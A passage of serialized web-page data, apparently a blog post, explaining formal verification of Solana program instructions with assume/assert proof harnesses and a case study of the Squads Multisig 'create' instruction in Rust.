,"We can construct a proof harness like the following:",{"type":22,"tag":107,"props":24317,"children":24319},{"code":24318,"language":21428,"meta":7,"className":21429,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[24320],{"type":22,"tag":114,"props":24321,"children":24322},{"__ignoreMap":7},[24323,24331,24348],{"type":22,"tag":118,"props":24324,"children":24325},{"class":120,"line":121},[24326],{"type":22,"tag":118,"props":24327,"children":24328},{"style":125},[24329],{"type":28,"value":24330},"assume(P0)\n",{"type":22,"tag":118,"props":24332,"children":24333},{"class":120,"line":142},[24334,24339,24343],{"type":22,"tag":118,"props":24335,"children":24336},{"style":125},[24337],{"type":28,"value":24338},"res ",{"type":22,"tag":118,"props":24340,"children":24341},{"style":210},[24342],{"type":28,"value":282},{"type":22,"tag":118,"props":24344,"children":24345},{"style":125},[24346],{"type":28,"value":24347}," instruction_handler(...)\n",{"type":22,"tag":118,"props":24349,"children":24350},{"class":120,"line":177},[24351,24355,24359,24364,24369,24374],{"type":22,"tag":118,"props":24352,"children":24353},{"style":1480},[24354],{"type":28,"value":21951},{"type":22,"tag":118,"props":24356,"children":24357},{"style":125},[24358],{"type":28,"value":540},{"type":22,"tag":118,"props":24360,"children":24362},{"style":24361},"--shiki-default:#F44747",[24363],{"type":28,"value":22581},{"type":22,"tag":118,"props":24365,"children":24366},{"style":125},[24367],{"type":28,"value":24368},"K ",{"type":22,"tag":118,"props":24370,"children":24371},{"style":24361},[24372],{"type":28,"value":24373},"||",{"type":22,"tag":118,"props":24375,"children":24376},{"style":125},[24377],{"type":28,"value":24378}," P1)\n",{"type":22,"tag":31,"props":24380,"children":24381},{},[24382],{"type":28,"value":24383},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":22,"tag":1289,"props":24385,"children":24387},{"id":24386},"positive-instruction-invariant",[24388],{"type":28,"value":24389},"Positive instruction invariant",{"type":22,"tag":31,"props":24391,"children":24392},{},[24393,24395,24401,24403,24454],{"type":28,"value":24394},"Next we need to prove that ",{"type":22,"tag":114,"props":24396,"children":24398},{"className":24397},[],[24399],{"type":28,"value":24400},"success_if",{"type":28,"value":24402}," is a sufficient condition for instruction success. I.e. ",{"type":22,"tag":114,"props":24404,"children":24406},{"className":24405},[5995,5996],[24407],{"type":22,"tag":118,"props":24408,"children":24410},{"className":24409},[6001],[24411],{"type":22,"tag":118,"props":24412,"children":24414},{"className":24413,"ariaHidden":6007},[6006],[24415,24441],{"type":22,"tag":118,"props":24416,"children":24418},{"className":24417},[6012],[24419,24423,24428,24432,24437],{"type":22,"tag":118,"props":24420,"children":24422},{"className":24421,"style":23537},[6017],[],{"type":22,"tag":118,"props":24424,"children":24426},{"className":24425,"style":24001},[6023,23542],[24427],{"type":28,"value":24004},{"type":22,"tag":118,"props":24429,"children":24431},{"className":24430,"style":6202},[6104],[],{"type":22,"tag":118,"props":24433,"children":24435},{"className":24434},[6207],[24436],{"type":28,"value":24288},{"type":22,"tag":118,"props":24438,"children":24440},{"className":24439,"style":6202},[6104],[],{"type":22,"tag":118,"props":24442,"children":24444},{"className":24443},[6012],[24445,24449],{"type":22,"tag":118,"props":24446,"children":24448},{"className":24447,"style":23537},[6017],[],{"type":22,"tag":118,"props":24450,"children":24452},{"className":24451,"style":24074},[6023,23542],[24453],{"type":28,"value":24077},{"type":28,"value":292},{"type":22,"tag":31,"props":24456,"children":24457},{},[24458],{"type":28,"value":24459},"Just like before we can construct a proof harness:",{"type":22,"tag":107,"props":24461,"children":24463},{"code":24462,"language":21428,"meta":7,"className":21429,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[24464],{"type":22,"tag":114,"props":24465,"children":24466},{"__ignoreMap":7},[24467,24475,24490],{"type":22,"tag":118,"props":24468,"children":24469},{"class":120,"line":121},[24470],{"type":22,"tag":118,"props":24471,"children":24472},{"style":125},[24473],{"type":28,"value":24474},"assume(S)\n",{"type":22,"tag":118,"props":24476,"children":24477},{"class":120,"line":142},[24478,24482,24486],{"type":22,"tag":118,"props":24479,"children":24480},{"style":125},[24481],{"type":28,"value":24338},{"type":22,"tag":118,"props":24483,"children":24484},{"style":210},[24485],{"type":28,"value":282},{"type":22,"tag":118,"props":24487,"children":24488},{"style":125},[24489],{"type":28,"value":24347},{"type":22,"tag":118,"props":24491,"children":24492},{"class":120,"line":177},[24493,24497],{"type":22,"tag":118,"props":24494,"children":24495},{"style":1480},[24496],{"type":28,"value":21951},{"type":22,"tag":118,"props":24498,"children":24499},{"style":125},[24500],{"type":28,"value":24501},"(K)\n",{"type":22,"tag":31,"props":24503,"children":24504},{},[24505,24507,24512,24514,24526],{"type":28,"value":24506},"This proof assures that whenever ",{"type":22,"tag":114,"props":24508,"children":24510},{"className":24509},[],[24511],{"type":28,"value":22122},{"type":28,"value":24513}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":22,"tag":4764,"props":24515,"children":24516},{},[24517,24519,24524],{"type":28,"value":24518},"even if ",{"type":22,"tag":114,"props":24520,"children":24522},{"className":24521},[],[24523],{"type":28,"value":22122},{"type":28,"value":24525}," is not satisfied",{"type":28,"value":24527},". To specify explicit error conditions we need our third and final proof.",{"type":22,"tag":1289,"props":24529,"children":24531},{"id":24530},"_3-negative-instruction-invariant",[24532],{"type":28,"value":24533},"3. Negative instruction invariant",{"type":22,"tag":31,"props":24535,"children":24536},{},[24537,24539,24544,24546,24602],{"type":28,"value":24538},"Finally, we want to prove that ",{"type":22,"tag":114,"props":24540,"children":24542},{"className":24541},[],[24543],{"type":28,"value":22129},{"type":28,"value":24545}," is a sufficient condition for instruction failure. I.e. ",{"type":22,"tag":114,"props":24547,"children":24549},{"className":24548},[5995,5996],[24550],{"type":22,"tag":118,"props":24551,"children":24553},{"className":24552},[6001],[24554],{"type":22,"tag":118,"props":24555,"children":24557},{"className":24556,"ariaHidden":6007},[6006],[24558,24584],{"type":22,"tag":118,"props":24559,"children":24561},{"className":24560},[6012],[24562,24566,24571,24575,24580],{"type":22,"tag":118,"props":24563,"children":24565},{"className":24564,"style":23537},[6017],[],{"type":22,"tag":118,"props":24567,"children":24569},{"className":24568,"style":24001},[6023,23542],[24570],{"type":28,"value":24039},{"type":22,"tag":118,"props":24572,"children":24574},{"className":24573,"style":6202},[6104],[],{"type":22,"tag":118,"props":24576,"children":24578},{"className":24577},[6207],[24579],{"type":28,"value":24288},{"type":22,"tag":118,"props":24581,"children":24583},{"className":24582,"style":6202},[6104],[],{"type":22,"tag":118,"props":24585,"children":24587},{"className":24586},[6012],[24588,24592,24597],{"type":22,"tag":118,"props":24589,"children":24591},{"className":24590,"style":23537},[6017],[],{"type":22,"tag":118,"props":24593,"children":24595},{"className":24594},[6023],[24596],{"type":28,"value":24135},{"type":22,"tag":118,"props":24598,"children":24600},{"className":24599,"style":24074},[6023,23542],[24601],{"type":28,"value":24077},{"type":28,"value":292},{"type":22,"tag":31,"props":24604,"children":24605},{},[24606],{"type":28,"value":24607},"This harness looks just like the previous one:",{"type":22,"tag":107,"props":24609,"children":24611},{"code":24610,"language":21428,"meta":7,"className":21429,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[24612],{"type":22,"tag":114,"props":24613,"children":24614},{"__ignoreMap":7},[24615,24623,24638],{"type":22,"tag":118,"props":24616,"children":24617},{"class":120,"line":121},[24618],{"type":22,"tag":118,"props":24619,"children":24620},{"style":125},[24621],{"type":28,"value":24622},"assume(E)\n",{"type":22,"tag":118,"props":24624,"children":24625},{"class":120,"line":142},[24626,24630,24634],{"type":22,"tag":118,"props":24627,"children":24628},{"style":125},[24629],{"type":28,"value":24338},{"type":22,"tag":118,"props":24631,"children":24632},{"style":210},[24633],{"type":28,"value":282},{"type":22,"tag":118,"props":24635,"children":24636},{"style":125},[24637],{"type":28,"value":24347},{"type":22,"tag":118,"props":24639,"children":24640},{"class":120,"line":177},[24641,24645,24649,24653],{"type":22,"tag":118,"props":24642,"children":24643},{"style":1480},[24644],{"type":28,"value":21951},{"type":22,"tag":118,"props":24646,"children":24647},{"style":125},[24648],{"type":28,"value":540},{"type":22,"tag":118,"props":24650,"children":24651},{"style":24361},[24652],{"type":28,"value":22581},{"type":22,"tag":118,"props":24654,"children":24655},{"style":125},[24656],{"type":28,"value":24657},"K)\n",{"type":22,"tag":31,"props":24659,"children":24660},{},[24661,24663,24667],{"type":28,"value":24662},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":22,"tag":4764,"props":24664,"children":24665},{},[24666],{"type":28,"value":18338},{"type":28,"value":24668}," the account invariants we expect are always being preserved.",{"type":22,"tag":23,"props":24670,"children":24672},{"id":24671},"case-study-squads-multisig",[24673],{"type":28,"value":24674},"Case study: Squads Multisig",{"type":22,"tag":31,"props":24676,"children":24677},{},[24678,24680,24685],{"type":28,"value":24679},"During our research, we focused on formally verifying aspects of the ",{"type":22,"tag":42,"props":24681,"children":24683},{"href":20791,"rel":24682},[46],[24684],{"type":28,"value":20795},{"type":28,"value":292},{"type":22,"tag":31,"props":24687,"children":24688},{},[24689,24691,24697,24699,24705],{"type":28,"value":24690},"The program defines a Multisig account (",{"type":22,"tag":114,"props":24692,"children":24694},{"className":24693},[],[24695],{"type":28,"value":24696},"Ms",{"type":28,"value":24698},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":22,"tag":114,"props":24700,"children":24702},{"className":24701},[],[24703],{"type":28,"value":24704},"threshold",{"type":28,"value":24706}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":22,"tag":31,"props":24708,"children":24709},{},[24710],{"type":28,"value":24711},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":22,"tag":31,"props":24713,"children":24714},{},[24715],{"type":28,"value":24716},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":22,"tag":4029,"props":24718,"children":24719},{},[24720,24725,24730,24735],{"type":22,"tag":68,"props":24721,"children":24722},{},[24723],{"type":28,"value":24724},"Incrementally verifying minimum requirements to create a multisig",{"type":22,"tag":68,"props":24726,"children":24727},{},[24728],{"type":28,"value":24729},"Verify threshold requirements",{"type":22,"tag":68,"props":24731,"children":24732},{},[24733],{"type":28,"value":24734},"Verify requirements to remove a member",{"type":22,"tag":68,"props":24736,"children":24737},{},[24738],{"type":28,"value":24739},"Safety guarantees",{"type":22,"tag":1289,"props":24741,"children":24743},{"id":24742},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[24744],{"type":28,"value":24745},"1. Incrementally verifying minimum requirements to create a multisig",{"type":22,"tag":31,"props":24747,"children":24748},{},[24749,24751,24756],{"type":28,"value":24750},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":22,"tag":114,"props":24752,"children":24754},{"className":24753},[],[24755],{"type":28,"value":22122},{"type":28,"value":24757}," expression.",{"type":22,"tag":31,"props":24759,"children":24760},{},[24761,24763,24768,24770,24776],{"type":28,"value":24762},"Creating a multisig (",{"type":22,"tag":114,"props":24764,"children":24766},{"className":24765},[],[24767],{"type":28,"value":24696},{"type":28,"value":24769},") requires invoking the ",{"type":22,"tag":114,"props":24771,"children":24773},{"className":24772},[],[24774],{"type":28,"value":24775},"create",{"type":28,"value":24777}," instruction:",{"type":22,"tag":107,"props":24779,"children":24781},{"code":24780,"language":111,"meta":7,"className":109,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[24782],{"type":22,"tag":114,"props":24783,"children":24784},{"__ignoreMap":7},[24785,24800,24855,24883,24891,24899,24916,24967,25017,25025,25065,25072,25087,25119,25161,25168,25175,25194,25222,25242,25262,25290,25309,25317,25345,25365,25385,25392,25400,25432,25455,25489,25496,25503,25511,25552,25584,25591,25598,25606,25681,25713,25720,25727,25763,25776,25789,25802,25856,25865],{"type":22,"tag":118,"props":24786,"children":24787},{"class":120,"line":121},[24788,24792,24796],{"type":22,"tag":118,"props":24789,"children":24790},{"style":125},[24791],{"type":28,"value":128},{"type":22,"tag":118,"props":24793,"children":24794},{"style":131},[24795],{"type":28,"value":134},{"type":22,"tag":118,"props":24797,"children":24798},{"style":125},[24799],{"type":28,"value":139},{"type":22,"tag":118,"props":24801,"children":24802},{"class":120,"line":142},[24803,24808,24812,24816,24821,24825,24829,24834,24838,24842,24846,24850],{"type":22,"tag":118,"props":24804,"children":24805},{"style":125},[24806],{"type":28,"value":24807},"#[instruction(threshold",{"type":22,"tag":118,"props":24809,"children":24810},{"style":210},[24811],{"type":28,"value":213},{"type":22,"tag":118,"props":24813,"children":24814},{"style":131},[24815],{"type":28,"value":22986},{"type":22,"tag":118,"props":24817,"children":24818},{"style":125},[24819],{"type":28,"value":24820},", create_key",{"type":22,"tag":118,"props":24822,"children":24823},{"style":210},[24824],{"type":28,"value":213},{"type":22,"tag":118,"props":24826,"children":24827},{"style":131},[24828],{"type":28,"value":2806},{"type":22,"tag":118,"props":24830,"children":24831},{"style":125},[24832],{"type":28,"value":24833},", members",{"type":22,"tag":118,"props":24835,"children":24836},{"style":210},[24837],{"type":28,"value":213},{"type":22,"tag":118,"props":24839,"children":24840},{"style":131},[24841],{"type":28,"value":23344},{"type":22,"tag":118,"props":24843,"children":24844},{"style":125},[24845],{"type":28,"value":559},{"type":22,"tag":118,"props":24847,"children":24848},{"style":131},[24849],{"type":28,"value":2892},{"type":22,"tag":118,"props":24851,"children":24852},{"style":125},[24853],{"type":28,"value":24854},">)]\n",{"type":22,"tag":118,"props":24856,"children":24857},{"class":120,"line":177},[24858,24862,24866,24871,24875,24879],{"type":22,"tag":118,"props":24859,"children":24860},{"style":146},[24861],{"type":28,"value":149},{"type":22,"tag":118,"props":24863,"children":24864},{"style":146},[24865],{"type":28,"value":154},{"type":22,"tag":118,"props":24867,"children":24868},{"style":131},[24869],{"type":28,"value":24870}," Create",{"type":22,"tag":118,"props":24872,"children":24873},{"style":125},[24874],{"type":28,"value":164},{"type":22,"tag":118,"props":24876,"children":24877},{"style":131},[24878],{"type":28,"value":169},{"type":22,"tag":118,"props":24880,"children":24881},{"style":125},[24882],{"type":28,"value":174},{"type":22,"tag":118,"props":24884,"children":24885},{"class":120,"line":195},[24886],{"type":22,"tag":118,"props":24887,"children":24888},{"style":125},[24889],{"type":28,"value":24890},"    #[account(\n",{"type":22,"tag":118,"props":24892,"children":24893},{"class":120,"line":244},[24894],{"type":22,"tag":118,"props":24895,"children":24896},{"style":125},[24897],{"type":28,"value":24898},"        init,\n",{"type":22,"tag":118,"props":24900,"children":24901},{"class":120,"line":253},[24902,24907,24911],{"type":22,"tag":118,"props":24903,"children":24904},{"style":125},[24905],{"type":28,"value":24906},"        payer ",{"type":22,"tag":118,"props":24908,"children":24909},{"style":210},[24910],{"type":28,"value":282},{"type":22,"tag":118,"props":24912,"children":24913},{"style":125},[24914],{"type":28,"value":24915}," creator,\n",{"type":22,"tag":118,"props":24917,"children":24918},{"class":120,"line":263},[24919,24924,24928,24932,24936,24941,24945,24950,24954,24958,24962],{"type":22,"tag":118,"props":24920,"children":24921},{"style":125},[24922],{"type":28,"value":24923},"        space ",{"type":22,"tag":118,"props":24925,"children":24926},{"style":210},[24927],{"type":28,"value":282},{"type":22,"tag":118,"props":24929,"children":24930},{"style":131},[24931],{"type":28,"value":23111},{"type":22,"tag":118,"props":24933,"children":24934},{"style":210},[24935],{"type":28,"value":1190},{"type":22,"tag":118,"props":24937,"children":24938},{"style":131},[24939],{"type":28,"value":24940},"SIZE_WITHOUT_MEMBERS",{"type":22,"tag":118,"props":24942,"children":24943},{"style":210},[24944],{"type":28,"value":10905},{"type":22,"tag":118,"props":24946,"children":24947},{"style":125},[24948],{"type":28,"value":24949}," (members",{"type":22,"tag":118,"props":24951,"children":24952},{"style":210},[24953],{"type":28,"value":292},{"type":22,"tag":118,"props":24955,"children":24956},{"style":125},[24957],{"type":28,"value":22977},{"type":22,"tag":118,"props":24959,"children":24960},{"style":210},[24961],{"type":28,"value":671},{"type":22,"tag":118,"props":24963,"children":24964},{"style":125},[24965],{"type":28,"value":24966}," 32),\n",{"type":22,"tag":118,"props":24968,"children":24969},{"class":120,"line":318},[24970,24975,24979,24984,24989,24993,24997,25002,25007,25012],{"type":22,"tag":118,"props":24971,"children":24972},{"style":125},[24973],{"type":28,"value":24974},"        seeds ",{"type":22,"tag":118,"props":24976,"children":24977},{"style":210},[24978],{"type":28,"value":282},{"type":22,"tag":118,"props":24980,"children":24981},{"style":125},[24982],{"type":28,"value":24983}," [",{"type":22,"tag":118,"props":24985,"children":24986},{"style":1866},[24987],{"type":28,"value":24988},"b\"squad\"",{"type":22,"tag":118,"props":24990,"children":24991},{"style":125},[24992],{"type":28,"value":24820},{"type":22,"tag":118,"props":24994,"children":24995},{"style":210},[24996],{"type":28,"value":292},{"type":22,"tag":118,"props":24998,"children":24999},{"style":125},[25000],{"type":28,"value":25001},"as_ref(), ",{"type":22,"tag":118,"props":25003,"children":25004},{"style":1866},[25005],{"type":28,"value":25006},"b\"multisig\"",{"type":22,"tag":118,"props":25008,"children":25009},{"style":125},[25010],{"type":28,"value":25011},"], ",{"type":22,"tag":118,"props":25013,"children":25014},{"style":204},[25015],{"type":28,"value":25016},"bump\n",{"type":22,"tag":118,"props":25018,"children":25019},{"class":120,"line":351},[25020],{"type":22,"tag":118,"props":25021,"children":25022},{"style":125},[25023],{"type":28,"value":25024},"    )]\n",{"type":22,"tag":118,"props":25026,"children":25027},{"class":120,"line":359},[25028,25032,25037,25041,25045,25049,25053,25057,25061],{"type":22,"tag":118,"props":25029,"children":25030},{"style":146},[25031],{"type":28,"value":201},{"type":22,"tag":118,"props":25033,"children":25034},{"style":204},[25035],{"type":28,"value":25036}," multisig",{"type":22,"tag":118,"props":25038,"children":25039},{"style":210},[25040],{"type":28,"value":213},{"type":22,"tag":118,"props":25042,"children":25043},{"style":131},[25044],{"type":28,"value":218},{"type":22,"tag":118,"props":25046,"children":25047},{"style":125},[25048],{"type":28,"value":164},{"type":22,"tag":118,"props":25050,"children":25051},{"style":131},[25052],{"type":28,"value":169},{"type":22,"tag":118,"props":25054,"children":25055},{"style":125},[25056],{"type":28,"value":231},{"type":22,"tag":118,"props":25058,"children":25059},{"style":131},[25060],{"type":28,"value":24696},{"type":22,"tag":118,"props":25062,"children":25063},{"style":125},[25064],{"type":28,"value":241},{"type":22,"tag":118,"props":25066,"children":25067},{"class":120,"line":368},[25068],{"type":22,"tag":118,"props":25069,"children":25070},{"emptyLinePlaceholder":15},[25071],{"type":28,"value":250},{"type":22,"tag":118,"props":25073,"children":25074},{"class":120,"line":384},[25075,25079,25083],{"type":22,"tag":118,"props":25076,"children":25077},{"style":125},[25078],{"type":28,"value":183},{"type":22,"tag":118,"props":25080,"children":25081},{"style":146},[25082],{"type":28,"value":188},{"type":22,"tag":118,"props":25084,"children":25085},{"style":125},[25086],{"type":28,"value":139},{"type":22,"tag":118,"props":25088,"children":25089},{"class":120,"line":417},[25090,25094,25099,25103,25107,25111,25115],{"type":22,"tag":118,"props":25091,"children":25092},{"style":146},[25093],{"type":28,"value":201},{"type":22,"tag":118,"props":25095,"children":25096},{"style":204},[25097],{"type":28,"value":25098}," creator",{"type":22,"tag":118,"props":25100,"children":25101},{"style":210},[25102],{"type":28,"value":213},{"type":22,"tag":118,"props":25104,"children":25105},{"style":131},[25106],{"type":28,"value":460},{"type":22,"tag":118,"props":25108,"children":25109},{"style":125},[25110],{"type":28,"value":164},{"type":22,"tag":118,"props":25112,"children":25113},{"style":131},[25114],{"type":28,"value":169},{"type":22,"tag":118,"props":25116,"children":25117},{"style":125},[25118],{"type":28,"value":241},{"type":22,"tag":118,"props":25120,"children":25121},{"class":120,"line":425},[25122,25126,25131,25135,25140,25144,25148,25152,25157],{"type":22,"tag":118,"props":25123,"children":25124},{"style":146},[25125],{"type":28,"value":201},{"type":22,"tag":118,"props":25127,"children":25128},{"style":204},[25129],{"type":28,"value":25130}," system_program",{"type":22,"tag":118,"props":25132,"children":25133},{"style":210},[25134],{"type":28,"value":213},{"type":22,"tag":118,"props":25136,"children":25137},{"style":131},[25138],{"type":28,"value":25139}," Program",{"type":22,"tag":118,"props":25141,"children":25142},{"style":125},[25143],{"type":28,"value":164},{"type":22,"tag":118,"props":25145,"children":25146},{"style":131},[25147],{"type":28,"value":169},{"type":22,"tag":118,"props":25149,"children":25150},{"style":125},[25151],{"type":28,"value":231},{"type":22,"tag":118,"props":25153,"children":25154},{"style":131},[25155],{"type":28,"value":25156},"System",{"type":22,"tag":118,"props":25158,"children":25159},{"style":125},[25160],{"type":28,"value":241},{"type":22,"tag":118,"props":25162,"children":25163},{"class":120,"line":441},[25164],{"type":22,"tag":118,"props":25165,"children":25166},{"style":125},[25167],{"type":28,"value":481},{"type":22,"tag":118,"props":25169,"children":25170},{"class":120,"line":475},[25171],{"type":22,"tag":118,"props":25172,"children":25173},{"emptyLinePlaceholder":15},[25174],{"type":28,"value":250},{"type":22,"tag":118,"props":25176,"children":25177},{"class":120,"line":484},[25178,25182,25186,25190],{"type":22,"tag":118,"props":25179,"children":25180},{"style":146},[25181],{"type":28,"value":149},{"type":22,"tag":118,"props":25183,"children":25184},{"style":146},[25185],{"type":28,"value":529},{"type":22,"tag":118,"props":25187,"children":25188},{"style":532},[25189],{"type":28,"value":9120},{"type":22,"tag":118,"props":25191,"children":25192},{"style":125},[25193],{"type":28,"value":696},{"type":22,"tag":118,"props":25195,"children":25196},{"class":120,"line":492},[25197,25201,25205,25209,25213,25218],{"type":22,"tag":118,"props":25198,"children":25199},{"style":204},[25200],{"type":28,"value":22191},{"type":22,"tag":118,"props":25202,"children":25203},{"style":210},[25204],{"type":28,"value":213},{"type":22,"tag":118,"props":25206,"children":25207},{"style":131},[25208],{"type":28,"value":554},{"type":22,"tag":118,"props":25210,"children":25211},{"style":125},[25212],{"type":28,"value":559},{"type":22,"tag":118,"props":25214,"children":25215},{"style":131},[25216],{"type":28,"value":25217},"Create",{"type":22,"tag":118,"props":25219,"children":25220},{"style":125},[25221],{"type":28,"value":241},{"type":22,"tag":118,"props":25223,"children":25224},{"class":120,"line":501},[25225,25230,25234,25238],{"type":22,"tag":118,"props":25226,"children":25227},{"style":204},[25228],{"type":28,"value":25229},"    threshold",{"type":22,"tag":118,"props":25231,"children":25232},{"style":210},[25233],{"type":28,"value":213},{"type":22,"tag":118,"props":25235,"children":25236},{"style":131},[25237],{"type":28,"value":22986},{"type":22,"tag":118,"props":25239,"children":25240},{"style":125},[25241],{"type":28,"value":782},{"type":22,"tag":118,"props":25243,"children":25244},{"class":120,"line":519},[25245,25250,25254,25258],{"type":22,"tag":118,"props":25246,"children":25247},{"style":204},[25248],{"type":28,"value":25249},"    create_key",{"type":22,"tag":118,"props":25251,"children":25252},{"style":210},[25253],{"type":28,"value":213},{"type":22,"tag":118,"props":25255,"children":25256},{"style":131},[25257],{"type":28,"value":2806},{"type":22,"tag":118,"props":25259,"children":25260},{"style":125},[25261],{"type":28,"value":782},{"type":22,"tag":118,"props":25263,"children":25264},{"class":120,"line":606},[25265,25270,25274,25278,25282,25286],{"type":22,"tag":118,"props":25266,"children":25267},{"style":204},[25268],{"type":28,"value":25269},"    members",{"type":22,"tag":118,"props":25271,"children":25272},{"style":210},[25273],{"type":28,"value":213},{"type":22,"tag":118,"props":25275,"children":25276},{"style":131},[25277],{"type":28,"value":23344},{"type":22,"tag":118,"props":25279,"children":25280},{"style":125},[25281],{"type":28,"value":559},{"type":22,"tag":118,"props":25283,"children":25284},{"style":131},[25285],{"type":28,"value":2892},{"type":22,"tag":118,"props":25287,"children":25288},{"style":125},[25289],{"type":28,"value":241},{"type":22,"tag":118,"props":25291,"children":25292},{"class":120,"line":615},[25293,25297,25301,25305],{"type":22,"tag":118,"props":25294,"children":25295},{"style":125},[25296],{"type":28,"value":588},{"type":22,"tag":118,"props":25298,"children":25299},{"style":210},[25300],{"type":28,"value":593},{"type":22,"tag":118,"props":25302,"children":25303},{"style":131},[25304],{"type":28,"value":598},{"type":22,"tag":118,"props":25306,"children":25307},{"style":125},[25308],{"type":28,"value":603},{"type":22,"tag":118,"props":25310,"children":25311},{"class":120,"line":685},[25312],{"type":22,"tag":118,"props":25313,"children":25314},{"style":257},[25315],{"type":28,"value":25316},"    // sort the members and remove duplicates\n",{"type":22,"tag":118,"props":25318,"children":25319},{"class":120,"line":699},[25320,25324,25328,25333,25337,25341],{"type":22,"tag":118,"props":25321,"children":25322},{"style":146},[25323],{"type":28,"value":4152},{"type":22,"tag":118,"props":25325,"children":25326},{"style":146},[25327],{"type":28,"value":4157},{"type":22,"tag":118,"props":25329,"children":25330},{"style":204},[25331],{"type":28,"value":25332}," members",{"type":22,"tag":118,"props":25334,"children":25335},{"style":210},[25336],{"type":28,"value":837},{"type":22,"tag":118,"props":25338,"children":25339},{"style":204},[25340],{"type":28,"value":25332},{"type":22,"tag":118,"props":25342,"children":25343},{"style":125},[25344],{"type":28,"value":801},{"type":22,"tag":118,"props":25346,"children":25347},{"class":120,"line":729},[25348,25352,25356,25361],{"type":22,"tag":118,"props":25349,"children":25350},{"style":204},[25351],{"type":28,"value":25269},{"type":22,"tag":118,"props":25353,"children":25354},{"style":210},[25355],{"type":28,"value":292},{"type":22,"tag":118,"props":25357,"children":25358},{"style":532},[25359],{"type":28,"value":25360},"sort",{"type":22,"tag":118,"props":25362,"children":25363},{"style":125},[25364],{"type":28,"value":1098},{"type":22,"tag":118,"props":25366,"children":25367},{"class":120,"line":771},[25368,25372,25376,25381],{"type":22,"tag":118,"props":25369,"children":25370},{"style":204},[25371],{"type":28,"value":25269},{"type":22,"tag":118,"props":25373,"children":25374},{"style":210},[25375],{"type":28,"value":292},{"type":22,"tag":118,"props":25377,"children":25378},{"style":532},[25379],{"type":28,"value":25380},"dedup",{"type":22,"tag":118,"props":25382,"children":25383},{"style":125},[25384],{"type":28,"value":1098},{"type":22,"tag":118,"props":25386,"children":25387},{"class":120,"line":785},[25388],{"type":22,"tag":118,"props":25389,"children":25390},{"emptyLinePlaceholder":15},[25391],{"type":28,"value":250},{"type":22,"tag":118,"props":25393,"children":25394},{"class":120,"line":804},[25395],{"type":22,"tag":118,"props":25396,"children":25397},{"style":257},[25398],{"type":28,"value":25399},"    // check we don't exceed u16\n",{"type":22,"tag":118,"props":25401,"children":25402},{"class":120,"line":812},[25403,25407,25412,25416,25420,25424,25428],{"type":22,"tag":118,"props":25404,"children":25405},{"style":146},[25406],{"type":28,"value":4152},{"type":22,"tag":118,"props":25408,"children":25409},{"style":204},[25410],{"type":28,"value":25411}," total_members",{"type":22,"tag":118,"props":25413,"children":25414},{"style":210},[25415],{"type":28,"value":837},{"type":22,"tag":118,"props":25417,"children":25418},{"style":204},[25419],{"type":28,"value":25332},{"type":22,"tag":118,"props":25421,"children":25422},{"style":210},[25423],{"type":28,"value":292},{"type":22,"tag":118,"props":25425,"children":25426},{"style":532},[25427],{"type":28,"value":11137},{"type":22,"tag":118,"props":25429,"children":25430},{"style":125},[25431],{"type":28,"value":1098},{"type":22,"tag":118,"props":25433,"children":25434},{"class":120,"line":821},[25435,25439,25443,25447,25451],{"type":22,"tag":118,"props":25436,"children":25437},{"style":1480},[25438],{"type":28,"value":2159},{"type":22,"tag":118,"props":25440,"children":25441},{"style":204},[25442],{"type":28,"value":25411},{"type":22,"tag":118,"props":25444,"children":25445},{"style":210},[25446],{"type":28,"value":2197},{"type":22,"tag":118,"props":25448,"children":25449},{"style":674},[25450],{"type":28,"value":6535},{"type":22,"tag":118,"props":25452,"children":25453},{"style":125},[25454],{"type":28,"value":1474},{"type":22,"tag":118,"props":25456,"children":25457},{"class":120,"line":900},[25458,25462,25467,25471,25476,25480,25485],{"type":22,"tag":118,"props":25459,"children":25460},{"style":1480},[25461],{"type":28,"value":2223},{"type":22,"tag":118,"props":25463,"children":25464},{"style":532},[25465],{"type":28,"value":25466}," 